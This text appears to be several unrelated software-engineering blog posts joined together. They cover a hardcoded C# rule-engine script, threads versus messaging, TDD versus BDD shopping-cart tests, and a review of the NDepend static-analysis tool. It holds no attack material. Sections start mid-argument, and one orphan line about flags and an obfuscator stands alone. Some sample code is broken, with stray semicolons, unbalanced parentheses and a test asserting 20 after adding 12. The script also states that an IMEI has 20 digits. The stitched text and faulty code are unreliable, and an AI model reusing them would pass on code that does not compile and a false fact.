Everyone seems to forget, “why did we build all these again”?
We often get trapped by ellusive purpose of building a configurable system with the premise of allowing runtime reconfiguration of the business logic. But in real practice, any change to business logic is a serious manner, requiring a proper release cycle. Runtime change to business flow while the users are still actively working will jeopardize system integrity. And most change-requests to the business logic need code changes anyway. And most importantly, all these configuration are CACHED at runtime! So we never really have any capability making immediate change to the script configuration in the database in the first place.

What’s the purpose of having a rule engine?
The main purpose of a configurable rule engine is NOT so that we can change it during runtime. It’s more to provide developers a Domain Specific Language to express the rule and business flow, translating business flow-chart into a working application, and probably allowing the domain-expert to read or verify the logic.
This is a good reason to take the application-logic out from the code, and put that into some sort of “readable” configuration. Some kind of xml structure, or DSL file, or database-backed authoring interface.

But this DB-based configuration we’re having right now, it doesn’t bring that value. We extract the logic into configurable database tables only to make it harder to express, almost impossible to read, and terribly tedious to change. It left us nothing.
Now, if you’re not providing DSL or authoring interface, you better off hardcode it. C# code is still way more readable and easier to write and change than bunch of numeric database collumns and tables.

Sometimes we need to step back a little bit, forget about neat configuration and just hardcode everything!

// ---- Step Definition ----
var askIfLinkedToHandset = script.CreateStep<bool>()
	.Ask("Do you want to link this product to a handset")
	.RadioButton("Yes", true)
	.RadioButton("No", false);

var askHandsetSerial = script.CreateStep<string>()
	.Ask("Please enter handset IMEI")
	.Textbox();
	.Validate(x=>x.Answer.Length == 20, "IMEI needs to be 20 digits");

var calculateFinance = script.CreateStep()
	.Execute(data=> data.FinanceAmount = CalculateHandsetFinance(askHandsetSerial.Answer));

var askOutrightAmount = script.CreateStep<Decimal>()
	.Ask("Finance amount for the handset is {0}. How much do you wish to pay outright?"
		, financeAmount)
	.Textbox();

var askBonusChoice = scripts.CreateStep<BonusOption>()
	.Ask("Please choose your preferred bonus option")
	.Dropdown(()=>bonusRepository.GetBonusOptionsForProduct(data.Product))
	.WithText(bonus=>bonus.Name);

// ---- Navigation flow ----
Navigate.From(askIfLinkedToHandset)
	.When(x=>x.Answer == true).GoTo(askHandsetSerial)
	.Else().GoTo(askBonusChoice);

Navigate.From(askHandsetSerial)
	.GoTo(calculateFinance);

Navigate.From(calculateFinance)
	.When(x=> x.Data.FinanceAmount == 0).GoTo(askBonusChoice))
	.When(x=> x.Data.FinanceAmount < x.Data.MinimumOutright).GoTo(fullOutrightPayment))
	.Else().GoTo(askOutrightAmount));
	
Navigate.From(askOutrightAmount)()
	.GoTo(askBonusChoice);

This is much easier to read! More importantly, it’s easier to change! It takes little effort to modify existing logic/calculation, or to radically swap over some navigation flows, or add bunch of new steps. We are dealing with concrete objects in OO fashion. Navigation flow is defined very clearly. It’s no longer a set of obscure numbers and flags scattered all across many normalized database tables. Shall domain-experts choose, they would prefer reading this source-code than the previous ultra-complicated DB config.

“RDBMS-based configurations are better in accomodating future change in business logic?” It does remove compilation step, but what’s so difficult about compiling this single .cs file? Is that really harder than writing database-migration SQL script?

Hardcoded logic like this is also much better in version-control. We can track the changes of the logics in CVS/SVN history. Alas what I have right now with our sophisticated DB configuration is just a series of long SQL update statements that keeps being added overtime as the business-flow evolves. Almost impossible to make out what business-rule has changed in each SQL update statement.

Finally, this piece of code is really easy to test. I can execute that navigation tree and easily poke it with various combination of data/answers and observe the flow of the steps.

Asynchonous processing might aleviate the problem, but it has a fundamental flaw.
When we open a new thread to perform the request asynchronously, this thread is occupied for as long as the request is being processed. So if we configure 25 maximum threads in the pool, now we can only serve 24 incoming requests. And when we eventually have 25 users requesting for Excel reports, we’re back with an unresponsive system. The application ceases to serve any user at all. Yes, worse than our synchronous counterpart, it’s unresponsive not only to the very few who actually request for Excel reports, but also to all ordinary users who only access simple pages.

A better solution? Depending on the size of the operation, if it takes more than few seconds, the best solution might be messaging. Typically, I would use messaging solution like NServiceBus or MassTransit.

Let’s take this into the way restaurants work. The staffs (threads) who take requests from the guests simply stick a piece of paper to the kitchen, ordering for a delicious “Excel-report” dinner, and then leave.
Behind the curtain, it’s then up to the chefs to push their arses around the kitchen and perform all necessary gymnastics to deliver the meal. The other staffs do not care. They just leave the paper then return to the front to serve the next customer. Meanwhile, the chefs can cook at their own pace. Even when the chefs are performing slow, they do not affect the performance of the wait-staffs who serves the customer.

In contrast, asynchronous processing (without messaging) is like having 25 generic staffs who serve as both roles: wait-staffs as well as chefs. Upon receving a meal order, 1 staff summons another staff to go to the kitcen and cook in the background, while the first staff stays in the front keeping the customers waited. However, after 25 requests, you’re running out of staffs. Everyone is busy cooking in the kitchen, and no one serves the customers, including those who are only requesting for menu and bills.

Anyone in TDD circle would agree that the very first thing one needs to know about Test-Driven-Development is: it has nothing to do with test. Doing TDD to replace other means of application tests is probably just as harmful as not having any test at all. What I keep hearing from times to times is people who start practicing TDD complaining that they’re still staring at many bugs crawling around before their eyes, and they will start questioning the relevance of TDD in software development. In different occassions, I hear people using their keyboard and mouse on screens to do “unit-test”.

I think the word “test” in our profession is one of those unfortunate legacies we inherit from the past. It’s totally misleading. And there has been many attempts to fix this. New terms have been introduced, like “Design by Examples”, and “Behavior Driven Development”.
Behavior Driven Development is often claimed as an evolution from Test-Driven-Development, a sexy buzzword, a total paradigm shift that lets application code speaks in business language. And it’s suddenly becoming the greatest thing since sliced bread.

Well, the fact is, BDD is no other than our good old TDD. Or at least TDD done right, to be precise. BDD is not quite the evolution from TDD. It is TDD.

While some frameworks tackle BDD from completely different angle (e.g. NBehave), many BDD frameworks (e.g. SpecUnit, MSpec) are just a guideline of applying best practices in writing good xUnit tests. They are refinements of xUnit patterns (e.g. Four Phase Test). I use SpecUnit myself, and classes in SpecUnit actually inherit directly from nUnit.

One of the common pattern (anti-pattern?) in xUnit is Testcase Class per Class and Testcase Class Per Method, which usually leads to ineffective tests. BDD promotes Testcase Class Per User Story.

There are many BDD examples out there. But one remark came up during the discussion was that most examples about TDD/BDD around are usually centered around the framework and end-results, instead of the process itself. I think that’s a good point. The process might illustrate the key difference between the 2 approaches, and what BDD really means for us. I’ll try to cover some TDD process here, it’s going to be verbose. I’ll highlight the code changes between each steps.

At the risk of being totally boring, I’m going to use the ubiquotous shopping-cart story as an example.
Creating a test called ShoppingCartTest is perhaps too obviously baaaaadd.. So let’s make a test that’s “reasonably bad”, so common that lots of people actually do that in TDD, like AddingProductToShoppingCartTest. Then later on we’ll try to refactor this into BDD way.

Let’s say, for discussion sake, products that go into the shopping cart will be acquired from the inventory-system. Not realistic perhaps, but should be good enough for our purpose.

Test Driven Development

Let’s start with our first test-case:

[TestFixture]
public class AddingProductToShoppingCartTest
{
    [Test] public void ShouldContainAddedProductWithCorrectQuantity()
    {
        cart = new ShoppingCart(
                this.customer = new Customer(),
                this.inventoryService = mocks.Mock<InventoryService>());
        nokia = new MobileHandset(42342);
        customer.OrderHistory.Add(createPreviousOrder());

        inventoryService.Expect(x=>x.AcquireProduct(nokia, Args.AnyInt)).ThenReturn(true);

        cart.Add(nokia, 12);

        cart.GetLineFor(nokia).ShouldNotBeNull();
        cart.GetLineFor(nokia).Quantity.ShouldBe(20);
    }
}

Nice. Now the second test: AddingSameProductsShouldGroupThemTogether, and you realize that certain portion of the code could be reused, so you are refactoring that bit into a SetUp method.

While we’re here, there’s 1 thing that you don’t normally observe from TDD examples that only give you the end-result. Here you notice that refactoring into SetUp method is a “reactive” activity. We create SetUp method after couple of testcases. SetUp method is meaningless, and its purpose is merely to eliminate repetition by consolidating the least-common-denominator of all testcases.

Further down in this post, you will see that this is in contrast with BDD, where SetUp method has its own place as a first-class citizen. In BDD, SetUp method (aka Context) is created proactively before you start writing your first testcase.

Anyway, so here’s our first 2 testcases after refactoring:

[TestFixture]
public class AddingProductToShoppingCartTest
{
	// [ADDED] --------------------------- {
    [SetUp] public void BeforeEachTest()
    {
        cart = new ShoppingCart(
            this.customer = new Customer(),
            this.inventoryService = mocks.Mock<InventoryService>());
        nokia = new MobileHandset(42342);
        customer.OrderHistory.Add(createPreviousOrder());

        inventoryService.Expect(x=>x.AcquireProduct(nokia, Args.AnyInt)).ThenReturn(true);
    }
	// } -------------------------- [/ADDED]

    [Test] public void ShouldContainAddedProductWithCorrectQuantity()
    {
		// [REMOVED /]
        cart.Add(nokia, 12);
        cart.GetLineFor(nokia).ShouldNotBeNull();
        cart.GetLineFor(nokia).Quantity.ShouldBe(12);
    }

	// [ADDED] --------------------------- {
    [Test] public void AddingSameProductsShouldGroupThemTogether()
    {
        cart.Add(nokia, 10);
        cart.Add(nokia, 20);
        cart.GetLineFor(nokia).ShouldNotBeNull();
        cart.GetLineFor(nokia).Quantity.ShouldBe(30);
    }
	// } -------------------------- [/ADDED]
}

So far so good. You go ahead and write the next 8-9 testcases, before you stumble across our next testcase: CustomerFirstTimeOrder_ShouldAllowOnly1Product. Bugger! Our SetUp method no longer fits to cover this scenario. You will need to take line 10 from SetUp method back to each of the testcases.

[TestFixture]
public class AddingProductToShoppingCartTest
{
    [SetUp] public void BeforeEachTest()
    {
        cart = new ShoppingCart(
            this.customer = new Customer(),
            this.inventoryService = mocks.Mock<InventoryService>());
        nokia = new MobileHandset(42342);

		// [REMOVED /]

        inventoryService.Expect(x=>x.AcquireProduct(nokia, Args.AnyInt)).ThenReturn(true);
    }

    [Test] public void ShouldContainAddedProductWithCorrectQuantity()
    {
        customer.OrderHistory.Add(createPreviousOrder()); // <- ADDED

        cart.Add(nokia, 12);
        cart.GetLineFor(nokia).ShouldNotBeNull();
        cart.GetLineFor(nokia).Quantity.ShouldBe(12);
    }

	[Test] public void AddingSameProductsShouldGroupThemTogether()
    {
        customer.OrderHistory.Add(createPreviousOrder()); // <- ADDED

        cart.Add(nokia, 10);
        cart.Add(nokia, 20);
        cart.GetLineFor(nokia).ShouldNotBeNull();
        cart.GetLineFor(nokia).Quantity.ShouldBe(30);
    }

    // [ADDED] --------------------------- {
    [Test] public void CustomerFirstTimeOrder_ShouldAllowNotAllowMoreThan1Product()
    {
        Assert.Throws<IllegalRequest>( ()=> cart.Add(nokia, 2));
        cart.GetLineFor(nokia).ShouldBeNull();
    }

    [Test] public void CustomerFirstTimeOrder_ShouldAllow1Product()
    {
        cart.Add(nokia, 1);
        cart.GetLineFor(nokia).ShouldNotBeNull();
        cart.GetLineFor(nokia).Quantity.ShouldBe(1);
    }
	// } -------------------------- [/ADDED]
}

OK let me say it again. SetUp method consolidates the least-common-denominator of all testcases. Well, after you cover various scenarios for your test, you will no longer have too much common-denominator. Consequently, you will find yourself keep changing large number of testcases and refactor your test-code every time you add a new test-case that covers slightly different scenario.

For completeness sake, let’s add 1 more test-case: WhenInventoryRunsOutOfStock_ShouldRejectProduct(). Alas, once again we need to refactor the SetUp method. So this concludes the final result of our TDD process:

[TestFixture]
public class AddingProductToShoppingCartTest
{
    [SetUp] public void BeforeEachTest()
    {
        cart = new ShoppingCart(
            this.customer = new Customer(),
            this.inventoryService = mocks.Mock<InventoryService>());
        nokia = new MobileHandset(42342);
    }

    [Test] public void ShouldContainAddedProductWithCorrectQuantity()
    {
        customer.OrderHistory.Add(createPreviousOrder());
        inventoryService.Expect(x=>x.AcquireProduct(nokia, 12)).ThenReturn(true);

        cart.Add(nokia, 12);
        cart.GetLineFor(nokia).ShouldNotBeNull();
        cart.GetLineFor(nokia).Quantity.ShouldBe(12);
    }

    [Test] public void AddingSameProductsShouldGroupThemTogether()
    {
        customer.OrderHistory.Add(createPreviousOrder());
        inventoryService.Expect(x=>x.AcquireProduct(nokia, 10)).ThenReturn(true);
        inventoryService.Expect(x=>x.AcquireProduct(nokia, 20)).ThenReturn(true);

        cart.Add(nokia, 10);
        cart.Add(nokia, 20);
        cart.GetLineFor(nokia).ShouldNotBeNull();
        cart.GetLineFor(nokia).Quantity.ShouldBe(30);
    }

    [Test] public void CustomerFirstTimeOrder_ShouldAllowOnly1Product()
    {
        inventoryService.Expect(x=>x.AcquireProduct(nokia, 2)).ThenReturn(true);

        Assert.Throws<IllegalRequest>( ()=> cart.Add(nokia, 2));
        cart.GetLineFor(nokia).ShouldBeNull();
    }

    [Test] public void WhenInventoryRunsOutOfStock_ShouldRejectProduct()
    {
        customer.OrderHistory.Add(createPreviousOrder());
        inventoryService.Expect(x=>x.AcquireProduct(nokia, 20)).ThenReturn(false);

        Assert.Throws<IllegalRequest>(()=> cart.Add(nokia, 20));
        cart.GetLineFor(nokia).ShouldBeNull();
    }
}

Everytime we cover a new test-case, we change the equilibrium of our common-denominator, and you will spend most of your time refactoring. After 99 testcases, you have virtually nothing in common. Your SetUp method is practically empty. Each of your testcases are a giant repetitive set of arrage-expect-action-assert, all in every single method. Effort to maintain this test is out of control. The test is no longer readable. Try reading again the test we just wrote. Still readable? Try again tomorrow morning.

Behavior Driven Development

Let’s try converting the exact same testcases we just wrote into SpecUnit grammar. I’ll also switch my mock-framework from record-replay mode into AAA-syntax.

public class when_adding_a_product:
    Behaves_like_an_empty_shopping_cart_and_a_repeat_customer
{
    public override void Because()
    {
        cart.Add(nokia, 12);
    }

    [Observation]
    public void should_acquire_product_from_inventory()
    {
        inventoryService.AssertWasCalled(x=>x.AcquireProduct(nokia, 12));
    }

    [Observation]
    public void cart_should_only_contain_1_line()
    {
        cart.Lines.ShouldHaveSize(1);
    }

    [Observation]
    public void cart_should_contain_line_for_added_product()
    {
        cart.Lines.First().Product.ShouldBe(nokia);
    }

    [Observation]
    public void cart_item_should_have_added_quantity()
    {
        cart.Lines.First().Quantity.ShouldBe(12);
    }
}

public class when_adding_same_product_twice:
    Behaves_like_an_empty_shopping_cart_and_a_repeat_customer
{
    public override void Because()
    {
        cart.Add(nokia, 10);
        cart.Add(nokia, 20);
    }

    [Observation]
    public void should_acquire_both_requested_products_from_inventory()
    {
        inventoryService.AssertWasCalled(x=>x.AcquireProduct(nokia, 10));
        inventoryService.AssertWasCalled(x=>x.AcquireProduct(nokia, 20));
    }

    [Observation]
    public void cart_should_only_contain_1_line()
    {
        cart.Lines.ShouldHaveSize(1);
    }

    [Observation]
    public void cart_should_contain_line_for_added_product()
    {
        cart.Lines.First().Product.ShouldBe(nokia);
    }

    [Observation]
    public void cart_item_quantity_should_be_sum_of_added_quantities()
    {
        cart.Lines.First().Quantity.ShouldBe(10 + 20);
    }
}

public class when_inventory_runs_out_of_stock:
    Behaves_like_an_empty_shopping_cart_and_a_repeat_customer
{
    Exception exception;
    public override void Because()
    {
        inventoryService.When(x=>x.AcquireProduct(nokia, 2)).ThenReturn(false);

        thrownException = ((MethodThatThrows)()=>
            cart.Add(nokia, 2))
        .GetException();
    }

    [Observation]
    public void should_reject_the_request()
    {
        thrownException.ShouldNotBeNull();
    }

    [Observation]
    public void should_not_acquire_product_from_inventory()
    {
        inventoryService.AssertWasNotCalled(x=>x.AcquireProduct(nokia, Arg.AnyInt));
    }

    [Observation]
    public void should_not_add_any_product()
    {
        cart.Lines.ShouldBeEmpty();
    }
}

public class when_a_first_time_customer_add_more_than_1_product_quantity:
    Behaves_like_an_empty_shopping_cart
{
    Exception exception;
    public override void Because()
    {
        thrownException = ((MethodThatThrows)()=>
            cart.Add(nokia, 2))
        .GetException();
    }

    [Observation]
    public void should_reject_the_request()
    {
        thrownException.ShouldNotBeNull();
    }

    [Observation]
    public void should_not_acquire_product_from_inventory()
    {
        inventoryService.AssertWasNotCalled(x=>x.AcquireProduct(nokia, Arg.AnyInt));
    }

    [Observation]
    public void should_not_add_any_product()
    {
        cart.Lines.ShouldBeEmpty();
    }
}

public class when_a_first_time_customer_add_1_product_quantity:
    Behaves_like_an_empty_shopping_cart
{
    Exception exception;
    public override void Because()
    {
        cart.Add(nokia, 1);
    }

    [Observation]
    public void should_acquire_product_from_inventory()
    {
        inventoryService.AssertWasCalled(x=>x.AcquireProduct(nokia, 1));
    }

    [Observation]
    public void cart_item_should_contain_the_product()
    {
        cart.GetLineFor(nokia).Quantity.ShouldBe(1);
    }
}

[Concern("Shopping Cart")]
public class Behaves_like_an_empty_shopping_cart: ContextSpecification
{
    public override void Context()
    {
        cart = new ShoppingCart(
            this.customer = new Customer(),
            this.inventoryService = mocks.Mock<InventoryService>());
        nokia = new MobileHandset(42342);

        inventoryService.When(x=>x.AcquireProduct(Arg.Any<Product>(), Args.AnyInt)).ThenReturn(true);
    }
}

public class Behaves_like_an_empty_shopping_cart_and_a_repeat_customer:
    Behaves_like_an_empty_shopping_cart
{
    public override void Context()
    {
        base.Context();
        customer.OrderHistory.Add(createPreviousOrder());
    }
}

So this time, every user-story is no longer written in 1 (or several) methods. Instead, each user-story is represented as 1 class with a clear context. And each test-method only contains one single line of Assert statement. As a rule-of-thumb, 1 assert turns to 1 test-method. As such, we can quickly lookup the definition of each expected behavior. E.g., we can lookup that the definition of cart_item_quantity_should_be_sum_of_added_quantities is cart.Lines.First().Quantity.ShouldBe(10 + 20).

Same goes for the classes that represent each user-story. They are defined in a clear business vocabulary, comes with each definition. Programmers can lookup the definition of each business context instantly. E.g. the definition of when_inventory_runs_out_of_stock is inventoryService.When(x=>x.AcquireProduct(nokia, 2)).ThenReturn(false).
Our test becomes a handy place for programmers to lookup business glossary just by following Context() and Because() methods. So the definition of “inventory running out of stock” in the context of a shopping cart is when AcquireProduct() returns false.

Usually I stick all these classes together into a single file (e.g. AddingProductToShoppingCartSpecification.cs). A file where we can lookup a whole aspect of a little sub-functionality in our system in a neat grammar of Behaves_like, When, Should, Should, Should… where every one of them is immediately followed by its definition.

Now everytime we need to write a new scenario, we’re no longer worried if this will affect the other testcases. If the new scenario doesn’t fit with our current contexts, we simply create a new context. Just create a new when_xxx class… without needing to refactor any existing test-case.
This helps us to avoid the temptation to apply lazy-workaround. For instance, in our previous TDD example about “first-time-customer”, developers could actually just create a new method in Customer class to clear all OrderHistory to turn a repeat-customer back into a fresh first-time-customer. This makes the SUT fits with existing SetUp method scenario and test-cases dependency hell… saving them from refactoring effort. But this leads to smelly design, and probably doesn’t fit with the domain they’re representing. (In domain requirement, they probably will never have a customer clearing his order history).

When you execute this “testcases”, SpecUnit provides a tool that converts this into a pretty HTML document with nice given-when-then grammar, structured in an organized fashion. This document is readily consumable by non-technical people. After the business people see this document quite several times, they will start to understand how you work. They are able to see how we (developers) translate the requirement they convey into an executable specification in given-when-then fashion. Soon enough, they will get excited and start to learn to speak in the same grammar.

They already have a general feeling of the way we talk, so they will start expressing their requirement in the same given-when-then language, which will immediately appear as our BDD specification. Closing the room for ambiquity. Bridges the gap of communication.

Yes, a single method. Flag1, flag2, flag3,… obj1, obj2, obj3…, Obfuscator is the last thing they ever need.

What is NDepend?

In case you haven’t been within the reach of geeky hype signal recently and never heard about NDepend, it is a tool that reads into your source code, and statically analyses if the code meets certain design guidelines and quality. By “statically”, it means that it examines your code without actually running it. NDepend is often used in code-review process during development to easily identify spots in the code that could be improved.

If that sounds like FxCop to you, yes they share the same goal in principle, but they are different in 2 ways:

1. FxCop works on fine-grain details. It inspects each line of instruction or coding structure, and how they comply with framework design guideline. NDepend works more from high-level application architecture viewpoint. It visualizes the code in terms of dependencies, complexities, and other design metrics in quantifiable numbers, giving you a big picture idea of the state of the code and spot smelly areas. You can then define some thresholds to define an acceptable level of code quality. Further down this post, this difference will become crystal clear.
2. FxCop gives you a set of rules you can use, but and there is no easy way to express your own rule. Adding new rule involves writing new add-in to be plugged into FxCop. The primary strength of NDepend is on its CQL (Code Query Language), a DSL that allows you to express your own custom rule and evaluate it on the fly as you type.

Using NDepend

NDepend makes me wish my current project at work was written on C#. It is in fact written in Java. Incidentally, developed using big-ball-of-mud approach, the code has degraded to one of the worst source-codes I have worked on. That should have been absolutely the perfect place to use NDepend and refactor the big mess out loud. Alas NDepend doesn’t deal with Java. The good news is, NDepend just announced to release NDepend for Java, XDepend. But that’s for another post.

For our purpose, I pick a codebase from one of open-source .net projects I am quite familiar with, CodeCampServer, a web application developed using a Domain-Driven-Design and Test-Driven-Development on MVC platform. That perfectly mimics my idea of good application architecture.

UI appearance of Visual NDepend very much feels like Visual Studio environment.

Getting NDepend to analyse assemblies is incredibly easy! Literally couple of intuitive clicks, and before I know it, I am presented with fantastic details of information about the project.

Dependency Graph

Dependency graph is the best way to understand the architecture of the code.

You can navigate further deeper to get more intimate understanding about the code. Since CodeCampServer is built using Domain-Driven-Design, the domain-model layer is more than likely to be our primary interest in understanding the application, particularly when it’s developed by other people.

What we are looking at is a direct x-ray scan of CodeCampServer.Model.Domain namespace, and it says 1 thing: the code is impressive! Doesn’t take much to notice that CodeCampServer is developed using a solid Domain-Driven-Design: the code almost looks like business document. None of all classes within this namespace has any reference to some geeky technical details or infrastructure components. Indeed, the dependency graph of this code directly reflects the business models and their associations, which is readily consumable not only for developers, but also for business people. Big A+ for CodeCampServer.

Dependency graph can also be presented in the form of matrix.

3 rules to read this matrix:

• Green: number of methods in namespace on the left header that directly use members of namespace on the top header
• Blue: number of methods in namespace on the left header that is directly used by members of namespace on the top header
• Black: number of circular direct dependency between namespaces on the left and on the top headers

As such, the following graph generates English description: 42 methods of the assembly CodeCampServer.Website are using 61 methods of the assembly CodeCampServer.Model

So back to the previous complete matrix, it shows that CodeCampServer.Model.Domain namespace does not have any reference to any other namespace (all horizontal boxes are blue). To put in other word, domain-model is the core of this application (see Onion Architecture). All DDD-ish so far.

What I find interesting is that data-access namespace (CodeCampServer.DataAccess) makes *zero* direct communication with CodeCampServer.Model.Domain. It means that none of the repositories makes a direct communication with domain entities at all. This is impressive! It might seem counter-intuitive at first, how can those repositories create instances of domain-entities from DB, as well as save the state of domain-entities to DB without making any communication with any method/property/constructor of domain entity?

CodeCampServer uses NHibernate as ORM which completely decouples data-access concerns from the application code. Repositories in data-access layer simply delegate all CRUD operations of domain entities to NHibernate that will handle the creation and persistence of domain-entities. The repository itself makes totally zero direct communication with domain-entity.

Overall, CodeCampServer has a very good dependency matrix, but you will be surprised of how many unexpected smells that you can find in your application. You might find many things are not written in the way how you architect it. If one of your developers take a shortcut and, say, call security-checking from domain-entity, you will notice an unexpected reference from the dependency matrix (Domain->Security). You can even setup automatic alert when that happens, e.g. when domain layer has any reference to other namespace. More on that later.

Circular Dependency

This is what we normally need to be alerted with. CodeCampServer.Website.Impl makes a circular reference with CodeCampServer.Website. A reference from CodeCampServer.Website into a member in more specific namespace like CodeCampServer.Website.Impl signals some kind of smell.

You can navigate through the detail of the reference by clicking on the box. Turns out that CodeCampServer.Website.Globals make a reference to CodeCampServer.Website.Impl.RouteConfigurator.

The reference is apparently caused by Windsor IoC configuration in Globals.RegisterMvcTypes() methods.

Since Global is only referencing RouteConfigurator by its class, and not communicating with it in any way, NDepend indicates 0 on the reference. These 2 components are entangled for a conscious intention,so this analysis concluded no design problem. However this is a good example of using NDepend feedback to discover potential design smell in many parts of applications. For example look at the following dependency matrix for Spring.Net code:

The black areas indicates that those namespaces are tightly entangled together. Tight coupling means that all those 6 namespaces can only be understood together, which adds complexity in understanding and maintaining the code. Of course tight-coupling also means that they all can only be used together. I.e. to use dependency-injection capability from Spring.Core, you will need the presence of Spring.Validation in the baggage.

Metric

NDepend presents overview information about our code in various metric. For example, here is “Line of Code” metric for CodeCampServer.

CodeCampServer is written with TDD, so unsurprisingly, Unit-Tests takes up majority of the code lines. Followed by integration-tests. The biggest portion of application-code is on Website layer. And here is my favorite part: just like a street map, you can zoom deeply into this map by scrolling your map, from top assembly level down to classes and individual methods! In fact, you can use your mouse scroll to zoom almost anything in NDepend user interface.

Now let’s see the map for Cyclomatic Complexity metric. The more if/else/switch statements in your code, the higher Cyclomatic Complexity it gets.

CodeCampServer is developed using Domain-Driven-Design approach, so when it comes to complexity and decision-making, Model layer takes up most of the space. Unit-test takes just about the same size.

Code Query Language

I can’t repeat this enough: CQL is brilliant! It gives you the power to gather just about any information you need about your source code. CQL is very similar to SQL, but instead of querying the database, you are querying into your source-code. You can use CQL to quickly search for particular areas in your code that can be of your interest in term of code quality.

The information that you can query with CQL is comprehensive. NDepends provides a huge 82 code metrics that provides access to large range of information you need.

• Which methods have been refactored since last release and is not thoroughly covered by unit-tests?
  SELECT METHODS WHERE CodeWasChanged AND PercentageCoverage < 100
• What public methods could be declared as private?
  SELECT METHODS WHERE IsPublic AND CouldBePrivate
• What are the 10 most complex methods?
  SELECT TOP 10 METHODS ORDER BY CyclomaticComplexity

Code Inspection

So far we have been talking about all various statistics and analysis, but we haven’t seen the part that matters the most in a static analysis tool: code inspection. You can set up custom coding guidelines using CQS, and let NDepend regularly inspect your codebase to meet the project standard, and issue warnings when somebody violates the rule.

Let’s say, Architectural Guidelines:

• DDD Value Object has to be immutable
  WARN IF Count > 0 IN SELECT TYPES WHERE !IsImmutable AND HasAttribute “ValueObject”
• Web layer should not have direct dependency to Data layer
  WARN IF Count > 0 IN SELECT METHODS FROM NAMESPACES “Web” WHERE IsDirectlyUsing “Data”
• Repository should not flush NHibernate session. It violates unit-of-work pattern.
  WARN IF Count > 0 IN SELECT METHODS FROM NAMESPACES “Data” WHERE IsUsing “NHibernate.ISession.Flush()”
• All public methods of Services has to be surrounded by database transaction
  WARN IF Count > 0 IN SELECT METHODS FROM ASSEMBLIES “Services” WHERE IsPublic AND !HasAttribute “Transactional”

Quality Standards:

• Methods that are way too long, and obviously unreadable
  WARN IF Count > 0 IN SELECT METHODS WHERE NbILInstructions > 200 ORDER BY NbILInstructions DESC
• Methods that have too many parameters are smelly.
  WARN IF Count > 0 IN SELECT METHODS WHERE NbParameters > 5 ORDER BY NbParameters DESC
• Classes that have too many methods. Chances are they violate Single Responsibility Principle
  WARN IF Count > 0 IN SELECT TYPES WHERE NbMethods > 20 ORDER BY LCOM DESC
• Classes that overuse inheritance. You should consider favour_composition_over_inheritance principle
  WARN IF Count > 0 IN SELECT TYPES WHERE DepthOfInheritance > 6 ORDER BY DepthOfInheritance DESC

Continuous Quality

Continuous quality is the ultimate goal of code-analysis tools. You can hook NDepend to your project’s continuous integration servers.

Hooking NDepend to TeamCity allows it to continuously monitor the quality of the project based on design rules you specifies, and ring the alarm when somebody checks-in some malicious code that violates design guidelines of the house. This gives an immediate feedback to the developers to fix the code before it degrades the codebase. Yes, we “Fix” code NOT only when something is broken, but also when the code does not meet certain quality threshold! It’s often difficult to get that across to some people.

This ensures not only that all codes being checked-in can actually be built into an actual application that satisfies all the requirements (unit-tests), but also ensures that the codebase continuously meet acceptable level of quality.

TeamCity is a really nice development dashboard that provides you a great detail of information about the current state of the application and its historical progressions, and NDepends supplies quantitative numbers for various quality metrics that you can track back. You can even use NDepend to analyse differences between 2 versions of source code and the implication to the metrics. You can observe how the metrics are evolving over time. In general, this will gives you a trend looking more or less like this:

At the start of the project, the code is looking good. Methods are short, classes are awesomely designed, loose coupling is maintained. Over time as the complexity grows, methods are getting stuffed up with if/else and non-sense code, classes are entangled together… The code starts to decay. When the code gets so bad and the heat goes beyond acceptable level or violates certain coding guidelines, NDepend starts complaining screaming for refactoring.

The developers starts cleaning up their mess and refactor the code, while the code is still reasonably manageable. The heat cools down a bit, and quality is getting better. As the development progressing, the heat keeps jumping up and each time NDepend gives you immediate feedback, allowing you to refactor the code before it gets too difficult. The overall code quality is constant over time.

Without continuous inspection to code quality, the diagram would have been:

The code decays steadily as it grows. It’s becoming less and less manageable with the intention to refactor it when you feel critical. But before you know it, the code is already too difficult to be refactored. Making a single change is totally painful, and people end up throwing more mud into it everyday until the code turns into a big ball of mud, that the only thing in your mind everyday is to scrap the code and move on to the next project. And I know that feeling all too well

Report

When it comes to code analysis report, NDepend is top notch. There are ridiculously massive details of information about your code. From trivial lines-of-code, test-coverage, and comments, to dependencies and warnings. You can even compare 2 versions of the source-code. And all of them can be kept track in historical order within TeamCity. All these details can be overwhelming, luckily it’s presented with a great high level summary at the top, followed by increasingly detailed information as you walk down. Here are big-picture summary of CodeCampServer’s codebase:

Stable or abstract do not mean anything bad or good about the code. That is just a fact about the code.

• Stable package means that a lot of components are using it. I.e., it has a lot of reasons NOT to change
• Abstractness indicates the ratio between interfaces, abstract classes, or sealed classes within the package. Abstract package gives more flexibility in changing the code.

Good quality code is a balance between these 2 properties. It’s about finding equilibrium between 2 extreme characteristics:

• Painful: the package used by a lot of people, but lack of abstractness, hence painful to change
• Useless: the package is used by no one, but it has a lot of abstractness, hence over-engineering.

The website and data-access of CodeCampServer are infrastructure implementations, and it is structured that there is nothing in the application that depends on them. Thus they’re located at the edge of instability in the diagram. The core of the application, Model layer are by nature stable. They cannot be easily changed without affecting the other part of the application. Luckily it is highly decoupled (using service-interface and repository-interface), so it has higher abstraction, although not enough to make it into green area.

Summary

Weakness

There are however some area that NDepend still falls short.

1. CQL is not as powerful as you might expect. The most significant one being the absence of any notion of subquery, or join, or any other mean that allows you to traverse relationship between components. What seem to be pretty simple queries are actually impossible to be expressed in current version of CQL:
   • Select all methods in classes that implement IDisposable
   • Any method that constructs any class from namespace “Services”. (Rule: services should be injected by IoC)
   • Any member in namespace “Services” that has instance field of types from “Domain.Model” namespace. (Rule: DDD services should be stateless)
   • All namespaces that refer to another namespace that make reference to opposite direction (i.e. circular reference)
2. Continous Integration support is a bit weak. In fact, there is no direct support to TeamCity. Constraint violations can’t be fed into TeamCity alert system. And while TeamCity can store NDepend historical reports as artefacts, there is no easy way to follow the progression summary of the stats. E.g. growth of code size or dependencies (other than collecting all the reports ourselves), like what TeamCity does with code-coverage graphs. But maybe I’m just too demanding…
3. 82 metrics are impressive, added with CQL it makes NDepend far superior than other code-analysis tools in term of the easiness of customisation. However, I haven’t found any mean to actually extend the metrics (or the constraints). Even though FxCop’s customisability is very limited, it’s fairly easy to write your own plugin and extend the tool yourself.

Having said that, NDepend is a really impressive tool. Lives for architects and application designers have never been easier. They no longer need to deal only with whiteboards and CASE tools. NDepend allows them to deal straight with the actual code realtime. Looking into the code from architectural viewpoint. NDepend provides great deal of flexibility with its brilliant CQL. NDepend is very intuitive, and it took me almost no time to get going and do interesting things.

